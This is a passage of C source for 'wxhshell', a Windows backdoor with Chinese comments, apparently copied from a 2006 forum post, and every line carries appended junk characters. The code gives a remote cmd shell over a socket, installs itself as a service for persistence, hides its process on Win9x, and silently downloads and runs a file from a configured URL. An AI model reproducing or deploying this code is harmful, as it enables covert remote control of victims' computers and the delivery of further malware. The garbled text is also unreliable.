  // 帮助 1|zo -'y  
  case '?': { G6I>Ry[2?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SnVnC09y  
    break; V8c&2rNa  
  } KQEnC`Nz  
  // 安装 `InS8PLr  
  case 'i': { U?kJXM2  
    if(Install()) $FD0MrB_+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N[AX29  
    else . [C ~a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xL mo?Y*  
    break; fFsA[@5tul  
    } 2"NJt9w  
  // 卸载 ?gTY! ;$P  
  case 'r': { 3.8d"  
    if(Uninstall()) [1N*mY;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2r1., 1  
    else s:Memvf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zX)uC<  
    break; L"AZ,|wIk  
    } nq r[HFWs  
  // 显示 wxhshell 所在路径 )Wgh5C`  
  case 'p': { j134iVF%  
    char svExeFile[MAX_PATH]; Z:5e:M  
    strcpy(svExeFile,"\n\r"); iEnDS@7  
      strcat(svExeFile,ExeFile); m&fm<?|  
        send(wsh,svExeFile,strlen(svExeFile),0); U"/":w ~  
    break; >8EIm  
    } yw2sK7  
  // 重启 Yf<6[(6 O  
  case 'b': { lLl^2[4k5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?oP<sGp  
    if(Boot(REBOOT)) NKh8'=S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U@DIO/C,m`  
    else { 9z,V]v=  
    closesocket(wsh); .%.J Q  
    ExitThread(0); >/GVlXA'  
    } { "=d7i  
    break; wU+-;C5e  
    } 1^$ vmULj  
  // 关机 fsb_*sh&  
  case 'd': { :IvKxOv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  qauk,t  
    if(Boot(SHUTDOWN)) 66!cfpM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h4aJv  
    else { >}Fe9Y.o  
    closesocket(wsh); X)x$h{ OE  
    ExitThread(0); xV}-[W5sr'  
    } 6o!+E@V b  
    break; m&cVda/  
    } "1yXOy^2  
  // 获取shell Fn1|Wt*  
  case 's': { n}}$-xl  
    CmdShell(wsh); rISg`-  
    closesocket(wsh); p78X,44xg  
    ExitThread(0); #[ipJ %  
    break; :[A>O(  
  } dJ#mk5= "  
  // 退出 ^1nQDd*  
  case 'x': { Kj.4Z+^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Fm,mO$v  
    CloseIt(wsh); \%g# __\  
    break; XcD$xFDZ  
    } -YPUrU[)  
  // 离开 :/A3l=}iV  
  case 'q': { EA) K"C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s8Bbe t  
    closesocket(wsh); h0_od/D1r  
    WSACleanup(); R,>LUa*u  
    exit(1); R utRA  
    break; ^Cs?FF@P  
        } "Y-_83  
  } Yi:@>A<#  
  } =^%#F~o:  
YEqZ((H  
  // 提示信息 Rf9;jwU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m:_'r"o  
} AU0pJB'  
  } _[SW89zk  
W"MwpV  
  return; Te_%r9P|2  
} > yk2  
mO%F {'  
// shell模块句柄 %PW_v~sg  
int CmdShell(SOCKET sock) 2)cq!Zv  
{ bh V.uBH  
STARTUPINFO si; #2{H!jr  
ZeroMemory(&si,sizeof(si)); ZgarxV*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V2dN )\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D;nm~O%  
PROCESS_INFORMATION ProcessInfo; Okxuhzn>"  
char cmdline[]="cmd"; :rR)rj'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v!~tX*q  
  return 0; AYb-BaIc  
} a/p} ?!\  
Q#M@!&  
// 自身启动模式 Pr|BhX  
int StartFromService(void) $z[FL=h)?+  
{ O1xK\ogv  
typedef struct W w\M3Q`h  
{ *5T^wZpj)  
  DWORD ExitStatus; H;D 5)eJ90  
  DWORD PebBaseAddress; N=%4V  
  DWORD AffinityMask; x)GpNkx:  
  DWORD BasePriority; xw2dNJL  
  ULONG UniqueProcessId; /h6K"w=='!  
  ULONG InheritedFromUniqueProcessId; b%A+k"d  
}   PROCESS_BASIC_INFORMATION; 0K T^V R  
(t[sSl  
PROCNTQSIP NtQueryInformationProcess; Pnl+.?  
xs?Ska,N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rlMahY"C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3&`LVhx  
fD:BKJQ  
  HANDLE             hProcess; L"[2[p  
  PROCESS_BASIC_INFORMATION pbi; L/*D5k%J  
!DU4iq_.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -}:; EGUtd  
  if(NULL == hInst ) return 0; V)<Jj  
;8Qx~:c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |[./jg"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ; ,9:1.L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XSOSy2:  
\k 9EimT}  
  if (!NtQueryInformationProcess) return 0; +V Oczl=  
"@ 1+l&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r&rip^40  
  if(!hProcess) return 0; 1RHFWK5Si  
 :d) y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ngLpiU0H&  
w#qE#g %1  
  CloseHandle(hProcess); X\Gbs=sf6  
Gv\39+9 =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i0q<,VSl$_  
if(hProcess==NULL) return 0; lD9QS ;  
^ jYE4gHM  
HMODULE hMod; Q  h~  
char procName[255]; K&'Vd@  
unsigned long cbNeeded; , ;$SRQ.  
y <] x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %^KNY ;E  
(ay((|)  
  CloseHandle(hProcess); >}H3V]  
BZP{{  
if(strstr(procName,"services")) return 1; // 以服务启动 Ht4A   
Wd>gOE  
  return 0; // 注册表启动 z{m%^,Cs,  
} (Q(=MEar  
1[:tiTG|C  
// 主模块 rK~Obv  
int StartWxhshell(LPSTR lpCmdLine)  Q'~3Ik  
{ [6cF#_)*  
  SOCKET wsl; lY$9-Q(  
BOOL val=TRUE; 7 MZ(tOR  
  int port=0; 328gTP1  
  struct sockaddr_in door; CpLLsphy  
qw<~v?{|C  
  if(wscfg.ws_autoins) Install(); iy-~CPNB_  
Fa+#bX7  
port=atoi(lpCmdLine); T|^KG<uPV!  
wN]]t~K)Q  
if(port<=0) port=wscfg.ws_port; ]5a,%*f+  
9M;k(B!  
  WSADATA data; 2A&Y})D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b|Sjh;  
?v,4seRuz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9.>he+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4Ai#$SHLm  
  door.sin_family = AF_INET; >Q#\X=a>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zvOSQxGQ  
  door.sin_port = htons(port); + 'V ,z  
]@A31P4t|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }cO}H2m  
closesocket(wsl); ~0V,B1a  
return 1; k#"}oI{< 6  
} :{=2ih-}  
\5DOp-2  
  if(listen(wsl,2) == INVALID_SOCKET) {  ovsI2  
closesocket(wsl); K<E|29t^k  
return 1; -'Oq.$Qq  
} N$! Vm(S  
  Wxhshell(wsl); z8JdA%YBM  
  WSACleanup();  j|owU  
_FxQl ]@  
return 0; 5: vy_e&  
gJYX  
} ?4sF:Y+\  
pxV@fH+`  
// 以NT服务方式启动 dOFK;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5pz(6gA  
{ }J+ \o~  
DWORD   status = 0; 9jf2b  
  DWORD   specificError = 0xfffffff; <sor;;T  
snvixbN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |PutTcjQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ><w=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cz;gz4d8  
  serviceStatus.dwWin32ExitCode     = 0; I?X!v6  
  serviceStatus.dwServiceSpecificExitCode = 0;  aX}:O  
  serviceStatus.dwCheckPoint       = 0; T{4Ru6[  
  serviceStatus.dwWaitHint       = 0; ay>u``$R  
<2ymfL-q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "yf#sEabV  
  if (hServiceStatusHandle==0) return; !b{7gUjyI  
eUEO~M2&U{  
status = GetLastError(); !g7bkA  
  if (status!=NO_ERROR) wq>0W 4(  
{ I%tJLdL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :>o2UH  
    serviceStatus.dwCheckPoint       = 0; (aX6jdvo  
    serviceStatus.dwWaitHint       = 0; cIOM}/gqv  
    serviceStatus.dwWin32ExitCode     = status; hM[QR'\QS  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9#)&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7thB1cOJ  
    return; fl *>m,  
  } M D,+>kh  
R}0xWPt9G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w6G<&1iH  
  serviceStatus.dwCheckPoint       = 0; ^k}%k#)  
  serviceStatus.dwWaitHint       = 0; {Ax{N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;To][J  
} s\io9'Ec  
57rH`UFXH  
// 处理NT服务事件,比如:启动、停止 p^X \~Yibs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p?Jx2(%m  
{ |n*<H|  
switch(fdwControl) j7v?NY  
{ 97\9!)`,  
case SERVICE_CONTROL_STOP: by@}T@^\  
  serviceStatus.dwWin32ExitCode = 0; yQdoy^d/4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I1fUV72  
  serviceStatus.dwCheckPoint   = 0; U`)o$4Bq  
  serviceStatus.dwWaitHint     = 0; ? yek\X  
  { {3){f;b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  HV\l86}  
  } D9-D%R,  
  return; 4 t< mX  
case SERVICE_CONTROL_PAUSE: rh$q]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +Q!  
  break; 5~E'21hJ  
case SERVICE_CONTROL_CONTINUE: KV]8o'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /><+[\q4LM  
  break; {n-6e[  
case SERVICE_CONTROL_INTERROGATE: MNV OloA  
  break; m+'vrxTY  
}; \%$z!]S>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6rg?0\A<  
} KQ2jeJ/pj  
+"F9yb  
// 标准应用程序主函数 ~"8)9&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >'e(|P4  
{ kzXmiBL<9  
5$Da\?Fpn  
// 获取操作系统版本 q}MPl2  
OsIsNt=GetOsVer(); MrFi0G7u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5@< D6>6  
Y=tx kN  
  // 从命令行安装 U]W+ers  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5,u'p8}.  
~|.vz!A  
  // 下载执行文件 $Oi@B)=4d+  
if(wscfg.ws_downexe) { ]q<Zc>OC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XfYhLE  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?JI:>3e  
} gbL!8Z1h  
LS{t7P9K  
if(!OsIsNt) { iU9>qJ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 GEQ3r'B|  
HideProc(); $9Asr07  
StartWxhshell(lpCmdLine); e QGhX(  
} t%Hy#z1W_  
else \SQwIM   
  if(StartFromService()) N_eZz#);  
  // 以服务方式启动 *g~\lFX,u  
  StartServiceCtrlDispatcher(DispatchTable); GMJ</xG  
else p 7eRAQ\'  
  // 普通方式启动 C,#FH}  
  StartWxhshell(lpCmdLine); \\9$1yg   
bj`mQMC  
return 0; |)+; d  
}
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只看该作者 1 发表于: 2006-10-10
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